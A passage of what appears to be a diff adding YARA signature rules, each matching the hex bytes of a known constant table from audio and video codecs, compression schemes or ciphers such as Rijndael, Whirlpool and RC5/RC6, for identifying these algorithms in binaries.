77256b8b44293b9eaf1ce28fd73a5cf84344a774df028d909f59fd6c5f682a31e87c9651f73aba75977bfa132d9c76cb98ef039e35727006ce9171a81675ff6b8bb1ba5e06c1fb4eefe5e6f4dbd0b1a374ec7b4a1cc307b94f6b650463c89ff920854e58ae6dd131dfd88f44720ae6c13fa990c5cf49b4f209ad30905bbb917ebe5384adea8fc0d1a3681df610b4042564545c07379e8a3c38618042daa6ccbe0f94f9dfbb82a97dd9e14677adf756165250fc47265cf304274d5ecfc248ca7359ea8bbd9345a3df2363d0ce5d7a6a3051b66216d1664971b036a4a678bc1e13fb734ff544e211e07cb092d6e2d5c23991423303545615c518e4ce39d2fcce563dbed7a989475f2883ed532834040d1bb5e9f3868addd80f0e6520e4a21ad2adf4e7b691c489313db60f6deeaf1bac2ca4a00d9a56baefffee143f5068081a369f27138c87dca68e5e229b59315f7172d784669290df24f8aeeba369baf4d460a299c4eb53e193968c79aabaa4db29e31b0250d31e2ffd83b99b94e20ab6f8d2c4dadf3b19987bd02d06f0de24b0093ed1bdafbb3be989a0135eb9e807b78653949d64ef30290c6facfce45bfa3bc4f4c73c410d3a9ff4bd68263b4d2b5d8d85770ae53577519aa85dc405384dce6e1535e23ec69b1fa1371149fe46b96e53472f11b78441b96d891edd0729ab36ad58bdb51aa52cea0bd6e39781494895127c578fab08c665cb0740ff9c81bd4352333604a0d5b683d7fc89a6fdb262bee2e45bfdcc0959576b4448a375c7042d0174191517f3ec4e3b9f4c8dfbcd092c7ff54952ac575f96900aa74693976c251b4286320402cb64b58610b827f0b8182e5a546935b79e44dd5e73246b2491a959e5d593217a9768a2ab3a76c7c2f8d73ece31ccb08715ef784c0639c9651f59809ec2e316540bc085cfbfa25dc367e59e8d399059fb2a2bf0980c72672dc8fe32a19d305412b2aed68890b3ea6228c70aa2fa8296aebed9d514bb8cd3b5552068d8639c4c9bc9884fbce648d6f1272a8e195c35dc4345946cfd07c810cc961edfb6410e45c8f5d6404f618b0b0ca5ad54fe607ad2802271f2703e5849e9988526109cc18d617c911f67e2665845ed38468237f5794fe039380367b2c23623078f6d4520cbec647f19aab4182a756693e39042e8db2f039a87278d8873a3844621a9d3aae882e91547f62ee06ef87e7de55d1496a9250e9bf9a6ddcfc8265acdec63c52b06a0d010346ccb4e2619209d084ac8a8b8d2811d5dc0b1c77d88e41439777ea7d531149905517d414b1d435597b3e82df63db13451af1d3b99b601767d1d7b78826b719061e6b221e3f78f86a4666c08b5b9f08d3c2603e69e52a36cafb08f9f3472510d69ac7a895b709a69dc2a6a317c2aff60b89da551d43c2e06f1ec156770141a02fcf7a08e833ee562446a05df57a14f22942fc312cf96f317bb018e6eede6697e672be45f917ef4a03d521af389fc1db57aa43413e75a650964b7cf60a81bebf9bdccd8109f27c5ff4c20cd77efe0c1d24d54d462f86dd93c4b99821c8a7c3fc488d40a4bae9faa40d045c6cd9863b7f5aae1f2de7f7da0f62897021747ab4223eaae93557485de8bcdca1681ee8d18ee06cd567e7237bc352f2e4d7c22c033b38b48217497308baba512751da20a0d017e815047bb33dffdb0d76df96c5d5297ee8bf701280ff1fb413b789e1caadd114aed9b099d56c0a43049af1a7a74f9a143d34ab432897b26993476fb3c73ce3fc9ef72d5b26c460eebda8a40636f1258fe1f92a4ade53d2872eefcbb5f1585305cb4a8d26a4cb46f2dc67f560c71055b7c69626d95b3fd8c42a753a1257632c5f6555a0c15c96ae4e00c69d7e2d77de7627a991eda0e6ec9e17870c2f5edfb4db9e9bc44c37f6b929d1112af6023a637d3d9edf2a19438730e879ed6ca418ef0d97b177037b4ca12c89b6bc0a51cdc6737f0e0711f6e8d6a5e5c9af844dd70e61cfbc95961fab51950db042e8edcefd4bcb8c10588da477896c7f138e1930fed84bba6b74a00000000000000001e17038276f0c9388bb0422cb266431be7f64cc768ec037834e8633aeb5598ec3f7a50e4290d83be6825c67423aac52da7e78ebe50f32fa61a74cb1d8fd04c764b83f1a7fa47378c5f99f35b0de7b90f8fd38ab34b46c655bf5821165933dbf71f88312235f895d179c33eb76e229209d429b177bf81fa14223905739ae5ae4811e6f8c34d88572464806b20ddcabfff5594f2258cb7feb4216d53665ffd4a8620f261c61cf5166f4011c279381f2cde3a86aadb93255a197b085a02e8322a2eeaccd333d5842543ca3eb2f5c971332c05fcfa3fba28d9a748d7a7b23f5fd3423240cf109465a585dbd84a3684f964088a2f708cf16e1ff29902ecfa3af6f0f1c4507b14b101f1d9d9132e8302e9dc2f174e54e932b86a4d785c0c172d2acee018bfafa809c0f451a4b3d8ab95ebcb685ccda54ec8ff5dc1b136e8f721431902e15ee0ed17dc3e110b9233dec2581b522e9ca8276485d49a9cfe16c580de2956b86fbf9c650bba7795a741aec4968a23f2737c9bdc44d112664b0f955bda07d8e395845891cc8636989dde5a79feac18d04a79e846a17f5ad88c1c2341e180c6bec713b61a3b871eac75bd6092ab34f41079ca630e800bcd8e4cb813084e9abc2b605218dead0d3df9e14f451e1cca406aeea2c1a5ba7d0a06a8ac2a7f303d69fd8287dae73c4f0e2c57cc92e2956cbdaf21eb7557b3d03ac1ac812b0b29287ea21b7481eadbf601837627e7b526bc87bc0c77039c2b3f39533c5e0ff387c3ddb0a9da57624b45ebd1d54b4805a923b360e3a3bf24ea3ab167d43d3518d25b314e7f0b98406fee2b019f32a043085ce9cba180558a796fc59d612465c3d675bfff49e36f612cf729fed6d1cf2224abc0 }
+
+condition:
+	$a0
+}
+
+	
+rule ulaw_table__16_lil_512_
+{
+strings:
+	$a0 = { 84828486848A848E84928496849A849E84A284A684AA84AE84B284B684BA84BE84C184C384C584C784C984CB84CD84CF84D184D384D584D784D984DB84DD84DF04E104E204E304E404E504E604E704E804E904EA04EB04EC04ED04EE04EF04F0C4F044F1C4F144F2C4F244F3C4F344F4C4F444F5C4F544F6C4F644F7C4F744F8A4F8E4F824F964F9A4F9E4F924FA64FAA4FAE4FA24FB64FBA4FBE4FB24FC64FC94FCB4FCD4FCF4FC14FD34FD54FD74FD94FDB4FDD4FDF4FD14FE34FE54FE74FE8CFE9CFEACFEBCFECCFEDCFEECFEFCFE0CFF1CFF2CFF3CFF4CFF5CFF6CFF7CFF88FF90FF98FFA0FFA8FFB0FFB8FFC0FFC8FFD0FFD8FFE0FFE8FFF0FFF8FF00007C7D7C797C757C717C6D7C697C657C617C5D7C597C557C517C4D7C497C457C417C3E7C3C7C3A7C387C367C347C327C307C2E7C2C7C2A7C287C267C247C227C20FC1EFC1DFC1CFC1BFC1AFC19FC18FC17FC16FC15FC14FC13FC12FC11FC10FC0F3C0FBC0E3C0EBC0D3C0DBC0C3C0CBC0B3C0BBC0A3C0ABC093C09BC083C08BC075C071C07DC069C065C061C06DC059C055C051C05DC049C045C041C04DC039C036C034C032C030C03EC02CC02AC028C026C024C022C020C02EC01CC01AC018C0174016401540144013401240114010401F400E400D400C400B400A400940084007800700068006000580050004800400038003000280020001800100008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_24__fitab__16_lil_16_
+{
+strings:
+	$a0 = { 000000020004000e000e000400020000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdemux_Matroska_cook_fl2bps__32_lil_136_
+{
+strings:
+	$a0 = { e803000062050000e8070000180a0000a50f0000891500004a1f0000a50f0000ee020000c2090000d00f0000891500004a1f0000c52e00004a1f0000180a0000a50f000013080000180a0000180a0000a50f0000a50f000089150000891500004a1f00001b2f00000e0600004a1f00001b2f000089150000f02e0000184000007f590000e2820000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dcahuff_scales_bits__8_byt_645_
+{
+strings:
+	$a0 = { 0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0d0d0d0d0d0d0d0d0d0d0c0b0b0a0908080706060504040302030304050506070808090a0b0b0c0d0d0d0d0d0d0d0d0d0d0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0e0e0d0c0b0a080706060505040404030303040404040506060708090b0c0d0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0e0e0e0d0d0c0c0c0b0b0b0a0a090909080808070707060606050505040403030304040505050606060707070808080909090a0a0a0b0b0c0c0c0d0d0d0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0e0e0d0d0c0c0b0b0a0a09080807070606050504040302030404050506060707080809090a0a0b0c0c0c0d0e0e0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f101010101010101010101010101010100f0f0f0f0e0e0e0e0d0d0d0d0c0c0c0c0c0b0b0b0a0a0a0a090909090808080807070707060606060505050505040404040404040505050505060606060707070708080808090909090a0a0a0a0b0b0b0b0c0c0c0c0d0d0d0d0e0e0e0e0f0f0f0f10101010101010101010101010101010 }
+
+condition:
+	$a0
+}
+
+	
+rule bitmask__32_big_128_
+{
+strings:
+	$a0 = { 0000000100000003000000070000000f0000001f0000003f0000007f000000ff000001ff000003ff000007ff00000fff00001fff00003fff00007fff0000ffff0001ffff0003ffff0007ffff000fffff001fffff003fffff007fffff00ffffff01ffffff03ffffff07ffffff0fffffff1fffffff3fffffff7fffffffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule Speex_high_lsp_cdbk2__8_byt_512_
+{
+strings:
+	$a0 = { DCC206F7F6F2C81701E617D0EF0C08F9171DDCE4FAE3EFFB28170A0AD2F3240604E2E33E20E0FF16F201FCEAD3023604E2C7C5F41BFDE108F7050AF22042130902E7DB17F112DAE105F7EB0F00163E1E0FF4F2D24D152103221DED32020B09DAF4DB3E01F136200602E81423EB021318F337040927ED1EFFEB4936210812030F06EDD106FDD0CE011A1408E9CE41F2C9EFE1DBE435FFEFCB01390BF8E7E2DB4005CCD30F171F0F0EE71821FED4C8EE06EBD504F411DB14F6220F020F3715F5E1FA2E1910F7E7F8C21C1114E0E31A1E19ED02F0EF1ACD02322A13BE171DFE0313EDDB200F061EDE0D0BFB281F0AD604F71AF7BA11FEE914EAC933E8E116EA0FF303F6E4F03804C10BEEF1EEDADD10F922FFEBCFD109DB070845371406DFD3F6F706F70C470FFDD6F9E820DDFED6EFFB00FEDFCA0DF4DE2F17133707F84A1F0E10E9E6130CEECFE4E1EC02F2ECD14E280DE9F515FA12012F052623202E16080D10F212331328270BE6FFEF2F02CBF11FEA2615F1F005DF350FDA560BFDE8310DFCF5EE1C14F4E5E623E7DDFDECC31E0AC9F4EACCCAF213E0F42D0FF8D0F70BE008F0DEF3331226FEE0EF16FEEEE4BA3B1BE4EDF6ECF7F7F8EB15F823FE2DFDF70C001E07D92B1BDAA51E1A13C9FC3F0EEF0D090D020704063D48FFEF1DFFEAEF08E4DB3F2C2903020E09FA4BF8F9F4F1F40D09FC1EEABF0F00D304FC0105160B17 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_alaw_decode__16_lil_256_
+{
+strings:
+	$a0 = { 80EA80EB80E880E980EE80EF80EC80ED80E280E380E080E180E680E780E480E540F5C0F540F4C0F440F7C0F740F6C0F640F1C0F140F0C0F040F3C0F340F2C0F200AA00AE00A200A600BA00BE00B200B6008A008E00820086009A009E0092009600D500D700D100D300DD00DF00D900DB00C500C700C100C300CD00CF00C900CBA8FEB8FE88FE98FEE8FEF8FEC8FED8FE28FE38FE08FE18FE68FE78FE48FE58FEA8FFB8FF88FF98FFE8FFF8FFC8FFD8FF28FF38FF08FF18FF68FF78FF48FF58FFA0FAE0FA20FA60FAA0FBE0FB20FB60FBA0F8E0F820F860F8A0F9E0F920F960F950FD70FD10FD30FDD0FDF0FD90FDB0FD50FC70FC10FC30FCD0FCF0FC90FCB0FC }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_quant_centroid_tab__flt32___32_lil_392_
+{
+strings:
+	$a0 = { 0000000039b4c83ee5d0423f295c8f3f560ebd3ffa7eea3f46b60b40be9f2240e926394014ae4f40a2456640ba497c404c378940022b97400000000096430b3f14ae873f6210c83f1d5a0440448b2440a69b4440cff76340713d82400ad793400000000000000000000000000000000000000000dbf93e3f5a64bb3f1f850b40b072384042606540ac1c8a4000000000000000000000000000000000000000000000000000000000000000009cc4803f00000040508d3f403d0a7f40000000000000000000000000000000000000000000000000000000000000000000000000000000008716a93ff4fd2c4079e97e4000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009318d43f8b6c5f400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005a64fb3f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_non_uniform_implicit_quantizers__32_big_128_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001b0000001d0000001f }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_CHAR2_239V2_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 2aa6982fdfa4d696e676875615175d266727277d }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_rc__64_lil_88_
+{
+strings:
+	$a0 = { 00000000000000004f01b887e8c6231852916f79f5d2a636357b0ca38e9bbc6057fe4b2ec2d7e01dda4af09fe5377715856ba0b10a29c95867053ecbf4105dbdd8957da78b4127e49e4717dd667ceefb33835aad07bf2dca }
+
+condition:
+	$a0
+}
+
+	
+rule State_table_used_in_PAQ8_compression__8_byt_1012_
+{
+strings:
+	$a0 = { 010200000305010004060001070a0200080c0101090d01010b0e00020f130300101702011118020112190201141b0102151c0102161d01021a1e00031f210400202303012023030120230301202303012225020222250202222502022225020222250202222502022427010324270103242701032427010326280004292b05002a2d04012a2d04012c2f03022c2f03022e3102032e310203303301043033010432340005352b06003639050136390501383b0402383b04023a3d03033a3d03033c3f02043c3f02043e4101053e410105324200064337070044390601443906014649050246490502484b0403484b04034a4d03044a4d03044c4f02054c4f02053e5101063e5101064052000753450800544707015447070156490602564906022c3b05032c3b05033a3d04043a3d04043c3103053c3103054c5902064c5902064e5b01074e5b0107505c00085d4509005e5708015e570801602d0702602d0702306302073063020758650108586501085066000967450a0068570901685709016a3908026a3908023e6d02083e6d0208586f0109586f01095070000a71550b0072570a0172570a0174390902743909023e7702093e7702095879010a5879010a5a7a000b7b550c007c610b017c610b017e390a027e390a023e81020a3e81020a6283010b6283010b5a84000c85550d0086610c0186610c0188390b0288390b023e8b020b3e8b020b628d010c628d010c5a8e000d8f5f0e0090610d0190610d0144390c0244390c023e51020c3e51020c6293010d6293010d6494000e955f0f00966b0e01966b0e016c97010e6c97010e6498000f995f10009a6b0f016c9b010f649c00109d5f11009e6b10016c9f011064a00011a1691200a26b11016ca301116ea40012a5691300a675120176a701126ea80013a9691400aa75130176ab01136eac0014ad691500ae75140176af01146eb00015b1691600b275150176b301156eb40016b5731700b675160176b7011678b80017b9731800ba7f170180bb011778bc0018bd731900be7f180180bf011878c00019c1731a00c27f190180c3011978c4001ac5731b00c67f1a0180c7011a78c8001bc9731c00ca7f1b0180cb011b78cc001ccd731d00ce7f1c0180cf011c78d0001dd17d1e00d27f1d0180d3011d82d4001ed57d1f00d6891e018ad7011e82d8001fd97d2000da891f018adb011f82dc0020dd7d2100de8920018adf012082e00021e17d2200e28921018ae3012182e40022e57d2300e68922018ae7012282e80023e97d2400ea8923018aeb012382ec0024ed7d2500ee8924018aef012482f00025f17d2600f28925018af3012582f40026f5872700f68926018af701268cf80027f9872800fa45270150fb01278cfc0028f9872900fa45280150fb01288cfc0029 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_codebook__flt64___64_lil_64_
+{
+strings:
+	$a0 = { e277d32d3b44e23fcbd93ba3ad4ae63fc58cf0f62004ea3ff5d896016729ed3fa3923a014d84ef3f9483d9041816f13f664d2cf0151df33f2daf5c6f9be9f53f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_On2_Vp3_predictor_transform__32_lil_256_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000080000000000000000000000080000000000000000000000000000000350000004B0000000000000080000000000000000000000000000000400000000000000040000000000000008000000000000000000000000000000000000000350000004B0000008000000000000000000000000000000000000000000000000000000080000000400000000000000040000000000000000000000000000000350000004B0000000000000080000000000000000000000098FFFFFF7400000000000000740000001800000050000000180000000000000098FFFFFF740000000000000074000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_lsp_2nd__16_big_640_
+{
+strings:
+	$a0 = { FE4DFCD1FD1A0409FDFA0246FB4F033D00560181FCBFFC8501CFFFF8FB1D05AA0048FF1903600295FC0300E7FECE0141FF24FF5DFDF2FD0EF99F010B0039FF3AFEADFFDFFA44023D031CFF57FD89033000ABFEA20126067C01C502070123009FFD80FAF0FD43FCB6FFC603B6037C060D02CB020FFD36FF3F0248001FFEDF0164FEB3FE370264FEE5FA9BFD1BFF93FCD800E7004DFFA9FEA8053D043FFD72FDC7FCA504D40226035602CAFDE1F928FF3DFF9EFEECFC93FC46FB20FED500D4FF15FD2803B505ED037FFFB30158FD9402FB019D01F6FE96FC40FE1D056AFEC6FECDFF00FB14FE5301C2FE2EFF9403F208AF02C702B50209028A0519FFE4FE8602E8FC1300F0FF90FEF1FE0C03B206C5010FFFF1038DFEFD0698023FFFF6FE2CFF39044DFC0D0245FFCBFD15036E0091FEE3FB00FE720024FE0EFA9F0012FE4405CBFB93FCBD05460504FFA103F7FF2201BB0174FE9EFA4DFB2B01A0FF2B01D2029D0293066803A40216FFF1004201D403FBFD140569FF4AFC75FD2FFEFAFEAE009405A5004BFD08023904DF015101A0FF87018500EF062003D500710171FC15FE05FDB5FC78FEC8FF9E03B5001F04500048FF7305B9003FFCEF0467024803430115FB7900D0012DFC8E0075FE6C021BFF8E0358FE1300DFFC70026FFFB40114FE480895092104F4029E0130FEF5FDF3008C0372FF75F9C402260321FE38FFC8FD4703610424019D01BE04820251FFB304D5FFE10245FBF3FC81029D0129018D022E00CBFCE3FC69000302B4FEDC041A030E014E05C30278FFB00030FBDBFE1C016AFDABFCACFDDFFEB6FE53FD58046DFB62FD18053C0106003F0528033BFE72FDC00155FCFAFE1DFB21FFBA0062FF5D02A2FFF5FC8A0213FB9BFEF7FF0E02D403A6 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3fe08000000000003fece000000000003ff9440000225c1840061b7ffff31d77bfe0800000000000bfece00000000000bff9440000225c18c0061b7ffff31d77 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te1__0xa5c66363U___32_big_1024_
+{
+strings:
+	$a0 = { a5c6636384f87c7c99ee77778df67b7b0dfff2f2bdd66b6bb1de6f6f5491c5c55060303003020101a9ce67677d562b2b19e7fefe62b5d7d7e64dabab9aec7676458fcaca9d1f82824089c9c987fa7d7d15effafaebb25959c98e47470bfbf0f0ec41adad67b3d4d4fd5fa2a2ea45afafbf239c9cf753a4a496e472725b9bc0c0c275b7b71ce1fdfdae3d93936a4c26265a6c3636417e3f3f02f5f7f74f83cccc5c683434f451a5a534d1e5e508f9f1f193e2717173abd8d8536231313f2a15150c0804045295c7c7654623235e9dc3c328301818a13796960f0a0505b52f9a9a090e0707362412129b1b80803ddfe2e226cdebeb694e2727cd7fb2b29fea75751b1209099e1d838374582c2c2e341a1a2d361b1bb2dc6e6eeeb45a5afb5ba0a0f6a452524d763b3b61b7d6d6ce7db3b37b5229293edde3e3715e2f2f97138484f5a6535368b9d1d1000000002cc1eded604020201fe3fcfcc879b1b1edb65b5bbed46a6a468dcbcbd967bebe4b723939de944a4ad4984c4ce8b058584a85cfcf6bbbd0d02ac5efefe54faaaa16edfbfbc5864343d79a4d4d5566333394118585cf8a454510e9f9f90604020281fe7f7ff0a0505044783c3cba259f9fe34ba8a8f3a25151fe5da3a3c08040408a058f8fad3f9292bc219d9d4870383804f1f5f5df63bcbcc177b6b675afdada63422121302010101ae5ffff0efdf3f36dbfd2d24c81cdcd14180c0c352613132fc3ecece1be5f5fa2359797cc884444392e17175793c4c4f255a7a782fc7e7e477a3d3dacc86464e7ba5d5d2b32191995e67373a0c0606098198181d19e4f4f7fa3dcdc664422227e542a2aab3b9090830b8888ca8c464629c7eeeed36bb8b83c28141479a7dedee2bc5e5e1d160b0b76addbdb3bdbe0e0566432324e743a3a1e140a0adb9249490a0c06066c482424e4b85c5c5d9fc2c26ebdd3d3ef43acaca6c46262a8399191a431959537d3e4e48bf2797932d5e7e7438bc8c8596e3737b7da6d6d8c018d8d64b1d5d5d29c4e4ee049a9a9b4d86c6cfaac565607f3f4f425cfeaeaafca65658ef47a7ae947aeae18100808d56fbaba88f078786f4a2525725c2e2e24381c1cf157a6a6c773b4b45197c6c623cbe8e87ca1dddd9ce87474213e1f1fdd964b4bdc61bdbd860d8b8b850f8a8a90e07070427c3e3ec471b5b5aacc6666d89048480506030301f7f6f6121c0e0ea3c261615f6a3535f9ae5757d069b9b9911786865899c1c1273a1d1db9279e9e38d9e1e113ebf8f8b32b989833221111bbd2696970a9d9d989078e8ea7339494b62d9b9b223c1e1e9215878720c9e9e94987ceceffaa5555785028287aa5dfdf8f038c8cf859a1a180098989171a0d0dda65bfbf31d7e6e6c6844242b8d06868c3824141b0299999775a2d2d111e0f0fcb7bb0b0fca85454d66dbbbb3a2c1616 }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_left_decorrelate_rgb__8_byt_177_
+{
+strings:
+	$a0 = { 224324252627492a2b4cad0e09cfd0f1d23352f3b43534b53635765736383a58991a0f391a26397a59ba595a59ba38393a595a3837383937b6b51409f312081108100bcfae6d2c4b292827262524432243254647a809090a0e0b160c180d1a0e2e0d110c1b0b140a0e090ac86746252423224324462728894a6b4c6deecff01109323152311208313271725334353637585a391a663938575655343574f33253d2d1b0afce4d6c4b8a4928272625244300 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_qmf_48tap_half__flt64___64_big_192_
+{
+strings:
+	$a0 = { beeea88dae7901a3bf1821b13ffd6ad5bf0d715760d3376a3f33bcd6da9fa2b83f2fc09ff9cd396ebf4bf2f87da62e33bf410ec0811cc7a23f60a9a4821492953f49ab1f8004667cbf7144271de776bbbf48c70b80b361f63f800e92804fe57ebf10090b42095edebf8b8747b2712be73f642c9e628ee7fb3f9641fc3d977efcbf7ff4a51cc95334bfa17446009de83b3f9342cb819e25453fabd09e5ff453c7bfa65243bc0edbddbfb97140fdffa84a3fc0e7f7b60489523fddb6225b9f8dfa }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_sp5x_data_dqt__8_byt_134_
+{
+strings:
+	$a0 = { ffdb0084000503040404030504040406050506080d0808070708100c0c0a0d141115141311131316181f1a16171e1713131b251c1e2021232323151a27292622291f2223220105060608070810080810221613162222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222 }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_pbox__32_big_128_
+{
+strings:
+	$a0 = { 0000000100000080000004000000200000080000002000000100000040000000000000080000002000000100000040000001000000800000040000002000000000000004000000100000020000008000000200000040000008000000100000000000000200000040000008000000100000040000001000000200000080000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Rar20Crypto_SetOldKeys__32_big_AND_
+{
+strings:
+	$a0 = { d3a3b879[0-20]3f6d12f7[0-20]7515a235[0-20]a4e7f123 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_dct_coeff_tbl_0__16_big_512_
+{
+strings:
+	$a0 = { ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff052f051f050f04ff183f402f3c2f382f342f302f2c2f7c1f781f741f701f6c1f028e028e027e027e026e026e025e025e024e024e023e023e022e022e021e021e020e020e04ee04ee04de04de04ce04ce04be04be04ae04ae049e049e048e048e01fd01fd01fd01fd01ed01ed01ed01ed01dd01dd01dd01dd01cd01cd01cd01cd01bd01bd01bd01bd01ad01ad01ad01ad019d019d019d019d018d018d018d018d017d017d017d017d016d016d016d016d015d015d015d015d014d014d014d014d013d013d013d013d012d012d012d012d011d011d011d011d010d010d010d010d282c282c282c282c282c282c282c282c242c242c242c242c242c242c242c242c143c143c143c143c143c143c143c143c0c4c0c4c0c4c0c4c0c4c0c4c0c4c0c4c085c085c085c085c085c085c085c085c047c047c047c047c047c047c047c047c046c046c046c046c046c046c046c046c00fc00fc00fc00fc00fc00fc00fc00fc00ec00ec00ec00ec00ec00ec00ec00ec00dc00dc00dc00dc00dc00dc00dc00dc00cc00cc00cc00cc00cc00cc00cc00cc681c681c681c681c681c681c681c681c641c641c641c641c641c641c641c641c601c601c601c601c601c601c601c601c5c1c5c1c5c1c5c1c5c1c5c1c5c1c5c1c581c581c581c581c581c581c581c581c }
+
+condition:
+	$a0
+}
+
+	
+rule Windows_CryptVerifySignature__8_byt_STR_21_
+{
+strings:
+	$a0 = { 43727970745665726966795369676e617475726500 }
+
+condition:
+	$a0
+}
+
+	
+rule RC5_and_RC6_magic_values__0xb7e15163L_0x61C88647___32_lil_AND_
+{
+strings:
+	$a0 = { 6351e1b7[0-20]4786c861 }
+
+condition:
+	$a0
+}
+
+	
+rule MD5MAC__32_lil_48_
+{
+strings:
+	$a0 = { 97ef45ac290f43cd457e1b551c801134b177ce962e728e7c5f5aab0a3643be189d21b421bc87b94da29d27bdc75bd7c3 }
+
+condition:
+	$a0
+}
+
+	
+rule lms_order_table__16_big_64_
+{
+strings:
+	$a0 = { 00020003000400050006000700080009000a000c000e0010001200140018001c00200024003000400050006000800100018001c0020002800300038004000000 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_9__16_lil_386_
+{
+strings:
+	$a0 = { 0040293f523e7b3da43cce3bf83a233a4e397a38a637d33600362e355d348e33bf32f131233158308d2fc42efc2d362d712cae2beb2a2b2a6b29ae28f22738277e26c4250a2553249c23e92237228921db203120871fe21e3d1e9c1dfb1c5f1cc31b281b8d1af7196119d1184118b6172b17a4161d169b1519159b141e14a3132813ad123212ba114311d0105e10f10f840f1b0fb20e4e0eea0d8b0d2c0dd10c770c1d0cc40b700b1c0bcc0a7c0a300ae5099c0953090e09ca08890849080b08cd078f0751071507da06a2066a063406ff05cb05990568053a050c05e104b6048d0465043d041504f003cb03a9038703670348032a030c03f002d402ba02a00287026e0255023c0224020c02f601e001cc01b801a5019301820171016101510143013501270119010c01ff00f300e700dc00d100c700bd00b400ab00a3009b0093008b0083007b0074006d0066005f00590053004d00480043003e003900340030002c002800240020001c0019001600130010000d000a0008000600040002000000 }
+
+condition:
+	$a0
+}
+
+	
+rule G_723_40__witab__16_big_64_
+{
+strings:
+	$a0 = { 01c001c0030004e00500052007400c8011a016601b6023002cc03700422057005700422037002cc023001b60166011a00c8007400520050004e0030001c001c0 }
+
+condition:
+	$a0
+}
+
+	
+rule YUV_to_RGB_dither_2x2_8__8_byt_16_
+{
+strings:
+	$a0 = { 06020602060206020004000400040004 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_s_from_var_func__flt64___64_lil_488_
+{
+strings:
+	$a0 = { 325a47551344d3bfed65db696b44d0bfaa471adcd616cabf88bebb95253ac3bfa26538f988f3b7bfe955ae015b6fa1bfcf23905c48d19c3f88821953b0c6b73f19a9f7544e7bc43fae64c746205ecd3f325a47551344d33f8602b68311fbd73f29232e008dd2dc3f80d250a390e4e03f46cd57c9c76ee33f815b77f35407e63f548f34b8adade83f3c4b90115061eb3f581ea4a7c821ee3fd751d5045177f03f88855ad3bce3f13fd9ebdd1fef55f33f76374f75c8cdf43f2592e865144bf63f21ea3e00a9cdf73fa12de7525c55f93f520fd1e80ee2fa3f4f0647c9ab73fc3fee77280af409fe3f306475abe7a4ff3f6efab31f29a20040c0b2d2a4147401402a52616c214802403c1405fa441e0340833463d174f603408dee2076a6d00440b01bb62dcaac0540b459f5b9da8a0640ed815660c86a07402332ace28d4c0840e3a59bc420300940bd18ca8976150a403fc6dcb584fc0a40304ca60a46e50b405648f949b5cf0c4008944db9c2bb0d40452fa3586ea90e409b559fabad980f404da1f31abb441040207bbdfbe3bd10400fd6ff39cc371140fc00a43671b21140cb4a9352d02d12404451a04fe4a912406614cb2dad26134015e3fc4d28a41340185b08725022144053cbd6fa22a11440c63368e89f20154054e3a59bc4a01540c47762d68b211640 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U2__32_big_1024_
+{
+strings:
